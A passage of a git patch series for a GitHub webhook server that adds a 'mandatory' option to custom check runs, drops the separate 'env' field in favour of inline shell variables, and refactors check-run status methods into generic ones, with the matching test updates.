-356,6 +358,10 @@ properties: command: type: string description: Command to execute in the repository directory + mandatory: + type: boolean + description: Whether this check must pass for PR to be mergeable. Defaults to true for backward compatibility. + default: true env: type: array description: | diff --git a/webhook_server/libs/handlers/check_run_handler.py b/webhook_server/libs/handlers/check_run_handler.py index f27e3389..a9860670 100644 --- a/webhook_server/libs/handlers/check_run_handler.py +++ b/webhook_server/libs/handlers/check_run_handler.py @@ -389,12 +389,13 @@ async def all_required_status_checks(self, pull_request: PullRequest) -> list[st if self.github_webhook.conventional_title: all_required_status_checks.append(CONVENTIONAL_TITLE_STR) - # Add all custom checks (same as built-in checks - all are required) + # Add mandatory custom checks only (default is mandatory=true for backward compatibility) # Note: custom checks are validated in GithubWebhook._validate_custom_check_runs() # so name is guaranteed to exist for custom_check in self.github_webhook.custom_check_runs: - check_name = custom_check["name"] - all_required_status_checks.append(check_name) + if custom_check.get("mandatory", True): # Default to True for backward compatibility + check_name = custom_check["name"] + all_required_status_checks.append(check_name) _all_required_status_checks = branch_required_status_checks + all_required_status_checks self.logger.debug(f"{self.log_prefix} All required status checks: {_all_required_status_checks}") diff --git a/webhook_server/libs/handlers/pull_request_handler.py b/webhook_server/libs/handlers/pull_request_handler.py index f4d915bd..71a89b76 100644 --- a/webhook_server/libs/handlers/pull_request_handler.py +++ b/webhook_server/libs/handlers/pull_request_handler.py @@ -357,6 +357,13 @@ def _prepare_retest_welcome_comment(self) -> str: if self.github_webhook.conventional_title: retest_msg += f" * `/retest {CONVENTIONAL_TITLE_STR}` - Validate commit message format\n" + # Add custom check runs (both mandatory and optional) + for custom_check in self.github_webhook.custom_check_runs: + check_name = custom_check["name"] + is_mandatory = custom_check.get("mandatory", True) + status_indicator = "" if is_mandatory else " (optional)" + retest_msg += f" * `/retest {check_name}` - {check_name}{status_indicator}\n" + if retest_msg: retest_msg += " * `/retest all` - Run all available tests\n" diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index 7329edde..aad70c87 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -22,6 +22,7 @@ from webhook_server.libs.github_api import GithubWebhook from webhook_server.libs.handlers.check_run_handler import CheckRunHandler +from webhook_server.libs.handlers.pull_request_handler import PullRequestHandler from webhook_server.libs.handlers.runner_handler import RunnerHandler from webhook_server.utils.constants import ( FAILURE_STR, @@ -178,8 +179,10 @@ async def test_set_custom_check_failure_without_output(self, check_run_handler: ) @pytest.mark.asyncio - async def test_all_required_status_checks_includes_custom_checks(self, check_run_handler: CheckRunHandler) -> None: - """Test that all_required_status_checks includes all custom checks (all are required).""" + async def test_all_required_status_checks_includes_mandatory_custom_checks_only( + self, check_run_handler: CheckRunHandler + ) -> None: + """Test that all_required_status_checks includes only mandatory custom checks (default is true).""" mock_pull_request = Mock() mock_pull_request.base.ref = "main" @@ -187,11 +190,124 @@ async def test_all_required_status_checks_includes_custom_checks(self, check_run with patch.object(check_run_handler, "get_branch_required_status_checks", return_value=[]): result = await check_run_handler.all_required_status_checks(pull_request=mock_pull_request) - # Should include all custom checks (same as built-in checks - all are required) + # Should include all custom checks (both are mandatory by default) assert "lint" in result assert "security-scan" in result +class TestCustomCheckMandatoryOption: + """Test suite for custom check mandatory option.""" + + @pytest.fixture + def mock_github_webhook_with_mixed_mandatory(self) -> Mock: + """Create a mock GithubWebhook instance with both mandatory and optional checks.""" + mock_webhook = Mock() + mock_webhook.hook_data = {} + mock_webhook.logger = Mock() + mock_webhook.log_prefix = "[TEST]" + mock_webhook.repository = Mock() + mock_webhook.repository_by_github_app = Mock() + mock_webhook.last_commit = Mock() + mock_webhook.last_commit.sha = "test-sha-123" + mock_webhook.custom_check_runs = [ + {"name": "mandatory-check-1", "command": "echo test1", "mandatory": True}, + {"name": "optional-check", "command": "echo test2", "mandatory": False}, + {"name": "mandatory-check-2", "command": "echo test3", "mandatory": True}, + {"name": "default-mandatory-check", "command": "echo test4"}, # No mandatory field = default to true + ] + return mock_webhook + + @pytest.mark.asyncio + async def test_mandatory_true_checks_included_in_required( + self, mock_github_webhook_with_mixed_mandatory: Mock + ) -> None: + """Test that checks with mandatory=true are included in required status checks.""" + check_run_handler = CheckRunHandler(mock_github_webhook_with_mixed_mandatory) + mock_pull_request = Mock() + mock_pull_request.base.ref = "main" + + with patch.object(check_run_handler, "get_branch_required_status_checks", return_value=[]): + result = await check_run_handler.all_required_status_checks(pull_request=mock_pull_request) + + # Mandatory checks should be included + assert "mandatory-check-1" in result + assert "mandatory-check-2" in result + + @pytest.mark.asyncio + async def test_mandatory_false_checks_excluded_from_required( + self, mock_github_webhook_with_mixed_mandatory: Mock + ) -> None: + """Test that checks with mandatory=false are NOT included in required status checks.""" + check_run_handler = CheckRunHandler(mock_github_webhook_with_mixed_mandatory) + mock_pull_request = Mock() + mock_pull_request.base.ref = "main" + + with patch.object(check_run_handler, "get_branch_required_status_checks", return_value=[]): + result = await check_run_handler.all_required_status_checks(pull_request=mock_pull_request) + + # Optional check should NOT be included + assert "optional-check" not in result + + @pytest.mark.asyncio + async def test_default_mandatory_is_true(self, mock_github_webhook_with_mixed_mandatory: Mock) -> None: + """Test that checks without mandatory field default to mandatory=true (backward compatibility).""" + check_run_handler = CheckRunHandler(mock_github_webhook_with_mixed_mandatory) + mock_pull_request = Mock() + mock_pull_request.base.ref = "main" + + with patch.object(check_run_handler, "get_branch_required_status_checks", return_value=[]): + result = await check_run_handler.all_required_status_checks(pull_request=mock_pull_request) + + # Check without mandatory field should default to true and be included + assert "default-mandatory-check" in result + + @pytest.mark.asyncio + async def test_both_mandatory_and_optional_checks_are_queued( + self, mock_github_webhook_with_mixed_mandatory: Mock + ) -> None: + """Test that both mandatory and optional checks are queued and executed. + + The mandatory flag ONLY affects whether the check is required for merging, + NOT whether the check is executed. All checks should still be queued and executed. + """ + + mock_owners_handler = Mock() + pull_request_handler = PullRequestHandler(mock_github_webhook_with_mixed_mandatory, mock_owners_handler) + pull_request_handler.check_run_handler.set_check_queued = AsyncMock() + + mock_pull_request = Mock() + mock_pull_request.number = 123 + mock_pull_request.base = Mock() + mock_pull_request.base.ref = "main" + + # Mock all the methods called in process_opened_or_synchronize_pull_request + with ( + patch.object(pull_request_handler.owners_file_handler, "assign_reviewers", new=AsyncMock()), + patch.object(pull_request_handler.labels_handler, "_add_label", new=AsyncMock()), + patch.object(pull_request_handler, "label_pull_request_by_merge_state", new=AsyncMock()), + patch.object(pull_request_handler.check_run_handler, "set_merge_check_queued", new=AsyncMock()), + patch.object(pull_request_handler, "_process_verified_for_update_or_new_pull_request", new=AsyncMock()), + patch.object(pull_request_handler.labels_handler, "add_size_label", new=AsyncMock()), + patch.object(pull_request_handler, "add_pull_request_owner_as_assingee", new=AsyncMock()), + patch.object(pull_request_handler.runner_handler, "run_tox", new=AsyncMock()), + patch.object(pull_request_handler.runner_handler, "run_pre_commit", new=AsyncMock()), + patch.object(pull_request_handler.runner_handler, "run_install_python_module", new=AsyncMock()), + patch.object(pull_request_handler.runner_handler, "run_build_container", new=AsyncMock()), + patch.object(pull_request_handler.runner_handler, "run_custom_check", new=AsyncMock()), + ): + await pull_request_handler.process_opened_or_synchronize_pull_request(pull_request=mock_pull_request) + + # Verify set_check_queued was called for ALL custom checks (mandatory and optional) + queued_check_names = [ + call.kwargs["name"] for call in pull_request_handler.check_run_handler.set_check_queued.call_args_list + ] + + assert "mandatory-check-1" in queued_check_names + assert "optional-check" in queued_check_names + assert "mandatory-check-2" in queued_check_names + assert "default-mandatory-check" in queued_check_names + + class TestRunnerHandlerCustomCheck: """Test suite for RunnerHandler run_custom_check method.""" From a9eaa8f9c32dba209992ccd386c5a89091c1dfbc Mon Sep 17 00:00:00 2001 From: rnetser Date: Sun, 11 Jan 2026 19:03:25 +0200 Subject: [PATCH 21/33] refactor: remove env field support from custom check runs Simplify custom check run configuration by removing the separate 'env' field. Users can now specify environment variables directly inline in the command using standard shell syntax (e.g., 'ENV_VAR=value command'). Changes: - Schema: Removed 'env' property from custom_check_runs configuration - Schema: Updated description to document inline env var syntax - Runner handler: Removed env parameter and handling from run_custom_check() - Tests: Removed 5 env-related test cases (148 lines) This simplification reduces configuration complexity while maintaining full functionality through standard shell syntax. --- webhook_server/config/schema.yaml | 22 +-- .../libs/handlers/runner_handler.py | 29 +--- .../tests/test_custom_check_runs.py | 148 ------------------ 3 files changed, 4 insertions(+), 195 deletions(-) diff --git a/webhook_server/config/schema.yaml b/webhook_server/config/schema.yaml index 44c4364a..3a776d2f 100644 --- a/webhook_server/config/schema.yaml +++ b/webhook_server/config/schema.yaml @@ -325,23 +325,15 @@ properties: Commands run in the repository worktree and behave like built-in checks (tox, pre-commit, etc.) - if a command is not found, the check will fail. - Environment Variables: - The 'env' field supports explicit variable assignment using 'VAR_NAME=value' format. - Each entry must include both the variable name and value separated by '='. + Environment variables can be included directly in the command string if needed. Examples: - name: lint command: uv tool run --from ruff ruff check mandatory: true - env: - - TOKEN=xyz - - DEBUG=true - name: security-scan - command: uv tool run --from bandit bandit -r . + command: TOKEN=xyz DEBUG=true uv tool run --from bandit bandit -r . mandatory: false - env: - - CUSTOM_VAR=custom_value - - ENABLE_SCAN=1 - name: complex-check command: | python -c " @@ -357,19 +349,11 @@ properties: description: Unique name for the check run (displayed in GitHub UI) command: type: string - description: Command to execute in the repository directory + description: Command to execute in the repository directory. Environment variables can be included in the command (e.g., VAR=value command args) mandatory: type: boolean description: Whether this check must pass for PR to be mergeable. Defaults to true for backward compatibility. default: true - env: - type: array - description: | - Environment variables to pass to the command. - Each entry must be in 'VAR_NAME=value' format. - items: - type: string - pattern: "^[^=]+=.+$" required: - name - command diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index 3d168519..83ff8f70 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -1,6 +1,5 @@ import asyncio import contextlib -import os import re import shutil from asyncio import Task @@ -517,38 +516,12 @@ async def run_custom_check( output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) return await self.check_run_handler.set_check_failure(name=check_name, output=output) - # Build env dict from env entries (VAR_NAME=value format only) - # IMPORTANT: We must start with os.environ.copy() because passing env to - # asyncio.create_subprocess_exec() REPLACES the entire environment, not extends it. - # Without this, the subprocess wouldn't have PATH, HOME, or other essential variables, - # causing commands like 'uv', 'python', etc. to fail with "command not found". - env_dict: dict[str, str] | None = None - redact_secrets: list[str] = [] - env_entries = check_config.get("env", []) - if env_entries: - env_dict = os.environ.copy() - for env_entry in env_entries: - if "=" in env_entry: - var_name, var_value = env_entry.split("=", 1) - env_dict[var_name] = var_value - # Extract secret values for redaction (only non-empty values) - if var_value: - redact_secrets.append(var_value) - self.logger.debug(f"{self.log_prefix} Using environment variable '{var_name}'") - else: - self.logger.warning( - f"{self.log_prefix} Invalid environment variable format '{env_entry}': " - "expected 'VAR_NAME=value' format" - ) - - # Execute command in worktree directory with env vars + # Execute command in worktree directory success, out, err = await run_command( command=command, log_prefix=self.log_prefix, mask_sensitive=self.github_webhook.mask_sensitive, cwd=worktree_path, - env=env_dict, - redact_secrets=redact_secrets if redact_secrets else None, ) output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) diff --git a/webhook_server/tests/test_custom_check_runs.py b/webhook_server/tests/test_custom_check_runs.py index aad70c87..399a8e0e 100644 --- a/webhook_server/tests/test_custom_check_runs.py +++ b/webhook_server/tests/test_custom_check_runs.py @@ -62,15 +62,6 @@ def test_minimal_custom_check_config(self, minimal_custom_check_config: dict[str assert minimal_custom_check_config["name"] == "minimal-check" assert minimal_custom_check_config["command"] == "uv tool run --from pytest pytest" - def test_custom_check_with_env_vars(self) -> None: - """Test that custom check with environment variables is accepted.""" - config = { - "name": "my-check", - "command": "python -m pytest", - "env": ["PYTHONPATH=/custom/path", "DEBUG=true"], - } - assert config["env"] == ["PYTHONPATH=/custom/path", "DEBUG=true"] - def test_custom_check_with_multiline_command(self) -> None: """Test that custom check with multiline command is accepted.""" config = { @@ -448,145 +439,6 @@ async def test_run_custom_check_command_execution_in_worktree( assert call_args["command"] == "uv tool run --from build python -m build" assert call_args["cwd"] == "/tmp/test-worktree" - @pytest.mark.asyncio - async def test_run_custom_check_with_env_vars(self, runner_handler: RunnerHandler, mock_pull_request: Mock) -> None: - """Test that custom check passes environment variables with explicit values.""" - check_config = { - "name": "env-test", - "command": "env | grep TEST_VAR", - "env": ["TEST_VAR=test_value", "ANOTHER_VAR=another_value"], - } - - # Create async context manager mock - mock_checkout_cm = AsyncMock() - mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) - mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) - - with ( - patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), - patch( - "webhook_server.libs.handlers.runner_handler.run_command", - new=AsyncMock(return_value=(True, "TEST_VAR=test_value", "")), - ) as mock_run, - ): - await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) - - # Verify command was called with env dict containing explicit values - # Note: env dict contains os.environ.copy() PLUS custom vars - mock_run.assert_called_once() - call_kwargs = mock_run.call_args.kwargs - env_dict = call_kwargs["env"] - assert env_dict is not None - assert env_dict["TEST_VAR"] == "test_value" - assert env_dict["ANOTHER_VAR"] == "another_value" - # Verify parent environment is inherited (e.g., PATH should exist) - assert "PATH" in env_dict - - @pytest.mark.asyncio - async def test_run_custom_check_without_env_vars( - self, runner_handler: RunnerHandler, mock_pull_request: Mock - ) -> None: - """Test that custom check without env config passes None to run_command.""" - check_config = { - "name": "no-env", - "command": "echo test", - } - - # Create async context manager mock - mock_checkout_cm = AsyncMock() - mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) - mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) - - with ( - patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), - patch( - "webhook_server.libs.handlers.runner_handler.run_command", - new=AsyncMock(return_value=(True, "test", "")), - ) as mock_run, - ): - await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) - - # Verify command was called with env=None (no env config) - mock_run.assert_called_once() - call_kwargs = mock_run.call_args.kwargs - assert call_kwargs["env"] is None - - @pytest.mark.asyncio - async def test_run_custom_check_with_explicit_env_values( - self, runner_handler: RunnerHandler, mock_pull_request: Mock - ) -> None: - """Test that custom check with explicit env values (VAR=value format) works correctly.""" - check_config = { - "name": "explicit-env-test", - "command": "env | grep DEBUG", - "env": ["DEBUG=true", "VERBOSE=1"], - } - - # Create async context manager mock - mock_checkout_cm = AsyncMock() - mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) - mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) - - with ( - patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), - patch( - "webhook_server.libs.handlers.runner_handler.run_command", - new=AsyncMock(return_value=(True, "DEBUG=true\nVERBOSE=1", "")), - ) as mock_run, - ): - await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) - - # Verify command was called with env dict containing explicit values - # Note: env dict contains os.environ.copy() PLUS custom vars - mock_run.assert_called_once() - call_kwargs = mock_run.call_args.kwargs - env_dict = call_kwargs["env"] - assert env_dict is not None - assert env_dict["DEBUG"] == "true" - assert env_dict["VERBOSE"] == "1" - # Verify parent environment is inherited - assert "PATH" in env_dict - - @pytest.mark.asyncio - async def test_run_custom_check_with_invalid_env_format( - self, runner_handler: RunnerHandler, mock_pull_request: Mock - ) -> None: - """Test that custom check with invalid env format (VAR without =value) logs warning and skips.""" - check_config = { - "name": "invalid-env-test", - "command": "env", - "env": ["DEBUG=true", "INVALID_VAR", "VERBOSE=1"], - } - - # Create async context manager mock - mock_checkout_cm = AsyncMock() - mock_checkout_cm.__aenter__ = AsyncMock(return_value=(True, "/tmp/worktree", "", "")) - mock_checkout_cm.__aexit__ = AsyncMock(return_value=None) - - with ( - patch.object(runner_handler, "_checkout_worktree", return_value=mock_checkout_cm), - patch( - "webhook_server.libs.handlers.runner_handler.run_command", - new=AsyncMock(return_value=(True, "DEBUG=true\nVERBOSE=1", "")), - ) as mock_run, - ): - await runner_handler.run_custom_check(pull_request=mock_pull_request, check_config=check_config) - - # Verify command was called with env dict containing only valid format entries - # Note: env dict contains os.environ.copy() PLUS custom vars - mock_run.assert_called_once() - call_kwargs = mock_run.call_args.kwargs - env_dict = call_kwargs["env"] - assert env_dict is not None - assert env_dict["DEBUG"] == "true" - assert env_dict["VERBOSE"] == "1" - # Verify parent environment is inherited - assert "PATH" in env_dict - # INVALID_VAR should not be in env_dict (skipped) - assert "INVALID_VAR" not in env_dict - # INVALID_VAR should be skipped and a warning logged - runner_handler.logger.warning.assert_called() - class TestCustomCheckRunsIntegration: """Integration tests for custom check runs feature.""" From 1a37f6ce3783bf6267e8c16395a42ef896a19f0c Mon Sep 17 00:00:00 2001 From: rnetser Date: Mon, 12 Jan 2026 20:41:09 +0200 Subject: [PATCH 22/33] refactor: replace specific check run methods with generic pattern Remove 9 legacy methods (set_verify_check_*, set_merge_check_*, set_cherry_pick_*) and replace with generic set_check_queued, set_check_in_progress, set_check_success, and set_check_failure methods. Update all handler files and tests to use the new generic pattern. --- webhook_server/config/schema.yaml | 2 - .../libs/handlers/check_run_handler.py | 37 +-------- .../libs/handlers/issue_comment_handler.py | 4 +- .../libs/handlers/pull_request_handler.py | 20 ++--- .../libs/handlers/runner_handler.py | 8 +- .../tests/test_check_run_handler.py | 76 +++++++++---------- .../tests/test_custom_check_runs.py | 4 +- .../tests/test_issue_comment_handler.py | 8 +- .../tests/test_pull_request_handler.py | 45 +++++------ webhook_server/tests/test_runner_handler.py | 16 ++-- 10 files changed, 91 insertions(+), 129 deletions(-) diff --git a/webhook_server/config/schema.yaml b/webhook_server/config/schema.yaml index 3a776d2f..fd5f47ad 100644 --- a/webhook_server/config/schema.yaml +++ b/webhook_server/config/schema.yaml @@ -325,8 +325,6 @@ properties: Commands run in the repository worktree and behave like built-in checks (tox, pre-commit, etc.) - if a command is not found, the check will fail. - Environment variables can be included directly in the command string if needed. - Examples: - name: lint command: uv tool run --from ruff ruff check diff --git a/webhook_server/libs/handlers/check_run_handler.py b/webhook_server/libs/handlers/check_run_handler.py index a9860670..dce10060 100644 --- a/webhook_server/libs/handlers/check_run_handler.py +++ b/webhook_server/libs/handlers/check_run_handler.py @@ -12,7 +12,6 @@ AUTOMERGE_LABEL_STR, BUILD_CONTAINER_STR, CAN_BE_MERGED_STR, - CHERRY_PICKED_LABEL_PREFIX, CONVENTIONAL_TITLE_STR, FAILURE_STR, IN_PROGRESS_STR, @@ -101,46 +100,16 @@ async def process_pull_request_check_run_webhook_data(self, pull_request: PullRe self.ctx.complete_step("check_run_handler") return True - async def set_verify_check_queued(self) -> None: - return await self.set_check_run_status(check_run=VERIFIED_LABEL_STR, status=QUEUED_STR) - - async def set_verify_check_success(self) -> None: - return await self.set_check_run_status(check_run=VERIFIED_LABEL_STR, conclusion=SUCCESS_STR) - - async def set_merge_check_queued(self, output: dict[str, Any] | None = None) -> None: - return await self.set_check_run_status(check_run=CAN_BE_MERGED_STR, status=QUEUED_STR, output=output) - - async def set_merge_check_in_progress(self) -> None: - return await self.set_check_run_status(check_run=CAN_BE_MERGED_STR, status=IN_PROGRESS_STR) - - async def set_merge_check_success(self) -> None: - return await self.set_check_run_status(check_run=CAN_BE_MERGED_STR, conclusion=SUCCESS_STR) - - async def set_merge_check_failure(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status(check_run=CAN_BE_MERGED_STR, conclusion=FAILURE_STR, output=output) - - async def set_cherry_pick_in_progress(self) -> None: - return await self.set_check_run_status(check_run=CHERRY_PICKED_LABEL_PREFIX, status=IN_PROGRESS_STR) - - async def set_cherry_pick_success(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status( - check_run=CHERRY_PICKED_LABEL_PREFIX, conclusion=SUCCESS_STR, output=output - ) - - async def set_cherry_pick_failure(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status( - check_run=CHERRY_PICKED_LABEL_PREFIX, conclusion=FAILURE_STR, output=output - ) - - async def set_check_queued(self, name: str) -> None: + async def set_check_queued(self, name: str, output: dict[str, Any] | None = None) -> None: """Set check run to queued status. Generic method for setting any check run (built-in or custom) to queued status. Args: name: The name of the check run (e.g., TOX_STR, PRE_COMMIT_STR, or custom check name) + output: Optional output dictionary with title, summary, and text fields """ - await self.set_check_run_status(check_run=name, status=QUEUED_STR) + await self.set_check_run_status(check_run=name, status=QUEUED_STR, output=output) async def set_check_in_progress(self, name: str) -> None: """Set check run to in_progress status. diff --git a/webhook_server/libs/handlers/issue_comment_handler.py b/webhook_server/libs/handlers/issue_comment_handler.py index 97d714f5..b5dbb291 100644 --- a/webhook_server/libs/handlers/issue_comment_handler.py +++ b/webhook_server/libs/handlers/issue_comment_handler.py @@ -279,10 +279,10 @@ async def user_commands( elif _command == VERIFIED_LABEL_STR: if remove: await self.labels_handler._remove_label(pull_request=pull_request, label=VERIFIED_LABEL_STR) - await self.check_run_handler.set_verify_check_queued() + await self.check_run_handler.set_check_queued(name=VERIFIED_LABEL_STR) else: await self.labels_handler._add_label(pull_request=pull_request, label=VERIFIED_LABEL_STR) - await self.check_run_handler.set_verify_check_success() + await self.check_run_handler.set_check_success(name=VERIFIED_LABEL_STR) elif _command != AUTOMERGE_LABEL_STR: await self.labels_handler.label_by_user_comment( diff --git a/webhook_server/libs/handlers/pull_request_handler.py b/webhook_server/libs/handlers/pull_request_handler.py index 71a89b76..bfaec1a3 100644 --- a/webhook_server/libs/handlers/pull_request_handler.py +++ b/webhook_server/libs/handlers/pull_request_handler.py @@ -189,9 +189,9 @@ async def process_pull_request_webhook_data(self, pull_request: PullRequest) -> ) if action_labeled: - await self.check_run_handler.set_verify_check_success() + await self.check_run_handler.set_check_success(name=VERIFIED_LABEL_STR) else: - await self.check_run_handler.set_verify_check_queued() + await self.check_run_handler.set_check_queued(name=VERIFIED_LABEL_STR) if labeled_lower in (WIP_STR, HOLD_LABEL_STR, AUTOMERGE_LABEL_STR): _check_for_merge = True @@ -630,7 +630,7 @@ async def process_opened_or_synchronize_pull_request(self, pull_request: PullReq ) ) setup_tasks.append(self.label_pull_request_by_merge_state(pull_request=pull_request)) - setup_tasks.append(self.check_run_handler.set_merge_check_queued()) + setup_tasks.append(self.check_run_handler.set_check_queued(name=CAN_BE_MERGED_STR)) setup_tasks.append(self._process_verified_for_update_or_new_pull_request(pull_request=pull_request)) setup_tasks.append(self.labels_handler.add_size_label(pull_request=pull_request)) setup_tasks.append(self.add_pull_request_owner_as_assingee(pull_request=pull_request)) @@ -924,7 +924,7 @@ async def _process_verified_for_update_or_new_pull_request(self, pull_request: P f"{self.log_prefix} Cherry-picked PR detected and auto-verify-cherry-picked-prs is disabled, " "skipping auto-verification" ) - await self.check_run_handler.set_verify_check_queued() + await self.check_run_handler.set_check_queued(name=VERIFIED_LABEL_STR) return if self.github_webhook.parent_committer in self.github_webhook.auto_verified_and_merged_users: @@ -934,12 +934,12 @@ async def _process_verified_for_update_or_new_pull_request(self, pull_request: P f"Setting verified label" ) await self.labels_handler._add_label(pull_request=pull_request, label=VERIFIED_LABEL_STR) - await self.check_run_handler.set_verify_check_success() + await self.check_run_handler.set_check_success(name=VERIFIED_LABEL_STR) else: self.logger.info(f"{self.log_prefix} Processing reset {VERIFIED_LABEL_STR} label on new commit push") # Remove verified label await self.labels_handler._remove_label(pull_request=pull_request, label=VERIFIED_LABEL_STR) - await self.check_run_handler.set_verify_check_queued() + await self.check_run_handler.set_check_queued(name=VERIFIED_LABEL_STR) async def add_pull_request_owner_as_assingee(self, pull_request: PullRequest) -> None: try: @@ -982,7 +982,7 @@ async def check_if_can_be_merged(self, pull_request: PullRequest) -> None: try: self.logger.info(f"{self.log_prefix} Check if {CAN_BE_MERGED_STR}.") - await self.check_run_handler.set_merge_check_in_progress() + await self.check_run_handler.set_check_in_progress(name=CAN_BE_MERGED_STR) # Fetch check runs and statuses in parallel (2 API calls → 1 concurrent operation) _check_runs, _statuses = await asyncio.gather( asyncio.to_thread(lambda: list(self.github_webhook.last_commit.get_check_runs())), @@ -1043,7 +1043,7 @@ async def check_if_can_be_merged(self, pull_request: PullRequest) -> None: if not failure_output: await self.labels_handler._add_label(pull_request=pull_request, label=CAN_BE_MERGED_STR) - await self.check_run_handler.set_merge_check_success() + await self.check_run_handler.set_check_success(name=CAN_BE_MERGED_STR) self.logger.info(f"{self.log_prefix} Pull request can be merged") if self.ctx: self.ctx.complete_step("check_merge_eligibility", can_merge=True) @@ -1052,7 +1052,7 @@ async def check_if_can_be_merged(self, pull_request: PullRequest) -> None: self.logger.debug(f"{self.log_prefix} cannot be merged: {failure_output}") output["text"] = failure_output await self.labels_handler._remove_label(pull_request=pull_request, label=CAN_BE_MERGED_STR) - await self.check_run_handler.set_merge_check_failure(output=output) + await self.check_run_handler.set_check_failure(name=CAN_BE_MERGED_STR, output=output) if self.ctx: self.ctx.complete_step("check_merge_eligibility", can_merge=False, reason=failure_output) @@ -1064,7 +1064,7 @@ async def check_if_can_be_merged(self, pull_request: PullRequest) -> None: _err = "Failed to check if can be merged, check logs" output["text"] = _err await self.labels_handler._remove_label(pull_request=pull_request, label=CAN_BE_MERGED_STR) - await self.check_run_handler.set_merge_check_failure(output=output) + await self.check_run_handler.set_check_failure(name=CAN_BE_MERGED_STR, output=output) if self.ctx: self.ctx.fail_step("check_merge_eligibility", ex, traceback.format_exc()) diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index 83ff8f70..0d0d6204 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -547,7 +547,7 @@ async def cherry_pick(self, pull_request: PullRequest, target_branch: str, revie await asyncio.to_thread(pull_request.create_issue_comment, err_msg) else: - await self.check_run_handler.set_cherry_pick_in_progress() + await self.check_run_handler.set_check_in_progress(name=CHERRY_PICKED_LABEL_PREFIX) commit_hash = pull_request.merge_commit_sha commit_msg_striped = pull_request.title.replace("'", "") pull_request_url = pull_request.html_url @@ -576,7 +576,7 @@ async def cherry_pick(self, pull_request: PullRequest, target_branch: str, revie } if not success: output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) - await self.check_run_handler.set_cherry_pick_failure(output=output) + await self.check_run_handler.set_check_failure(name=CHERRY_PICKED_LABEL_PREFIX, output=output) for cmd in commands: rc, out, err = await run_command( @@ -587,7 +587,7 @@ async def cherry_pick(self, pull_request: PullRequest, target_branch: str, revie ) if not rc: output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) - await self.check_run_handler.set_cherry_pick_failure(output=output) + await self.check_run_handler.set_check_failure(name=CHERRY_PICKED_LABEL_PREFIX, output=output) redacted_out = _redact_secrets( out, [github_token], @@ -618,7 +618,7 @@ async def cherry_pick(self, pull_request: PullRequest, target_branch: str, revie output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) - await self.check_run_handler.set_cherry_pick_success(output=output) + await self.check_run_handler.set_check_success(name=CHERRY_PICKED_LABEL_PREFIX, output=output) await asyncio.to_thread( pull_request.create_issue_comment, f"Cherry-picked PR {pull_request.title} into {target_branch}" ) diff --git a/webhook_server/tests/test_check_run_handler.py b/webhook_server/tests/test_check_run_handler.py index 2b48b0a2..b3cf325e 100644 --- a/webhook_server/tests/test_check_run_handler.py +++ b/webhook_server/tests/test_check_run_handler.py @@ -115,25 +115,25 @@ async def test_process_pull_request_check_run_webhook_data_completed_normal( assert result is True @pytest.mark.asyncio - async def test_set_verify_check_queued(self, check_run_handler: CheckRunHandler) -> None: - """Test setting verify check to queued status.""" + async def test_set_check_queued_verified(self, check_run_handler: CheckRunHandler) -> None: + """Test setting verified check to queued status using generic method.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_verify_check_queued() - mock_set_status.assert_called_once_with(check_run=VERIFIED_LABEL_STR, status=QUEUED_STR) + await check_run_handler.set_check_queued(name=VERIFIED_LABEL_STR) + mock_set_status.assert_called_once_with(check_run=VERIFIED_LABEL_STR, status=QUEUED_STR, output=None) @pytest.mark.asyncio - async def test_set_verify_check_success(self, check_run_handler: CheckRunHandler) -> None: - """Test setting verify check to success status.""" + async def test_set_check_success_verified(self, check_run_handler: CheckRunHandler) -> None: + """Test setting verified check to success status using generic method.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_verify_check_success() - mock_set_status.assert_called_once_with(check_run=VERIFIED_LABEL_STR, conclusion=SUCCESS_STR) + await check_run_handler.set_check_success(name=VERIFIED_LABEL_STR) + mock_set_status.assert_called_once_with(check_run=VERIFIED_LABEL_STR, conclusion=SUCCESS_STR, output=None) @pytest.mark.asyncio async def test_set_check_queued_tox(self, check_run_handler: CheckRunHandler) -> None: """Test setting tox check to queued status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: await check_run_handler.set_check_queued(name=TOX_STR) - mock_set_status.assert_called_once_with(check_run=TOX_STR, status=QUEUED_STR) + mock_set_status.assert_called_once_with(check_run=TOX_STR, status=QUEUED_STR, output=None) @pytest.mark.asyncio async def test_set_check_in_progress_tox(self, check_run_handler: CheckRunHandler) -> None: @@ -163,7 +163,7 @@ async def test_set_check_queued_pre_commit(self, check_run_handler: CheckRunHand """Test setting pre-commit check to queued status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: await check_run_handler.set_check_queued(name=PRE_COMMIT_STR) - mock_set_status.assert_called_once_with(check_run=PRE_COMMIT_STR, status=QUEUED_STR) + 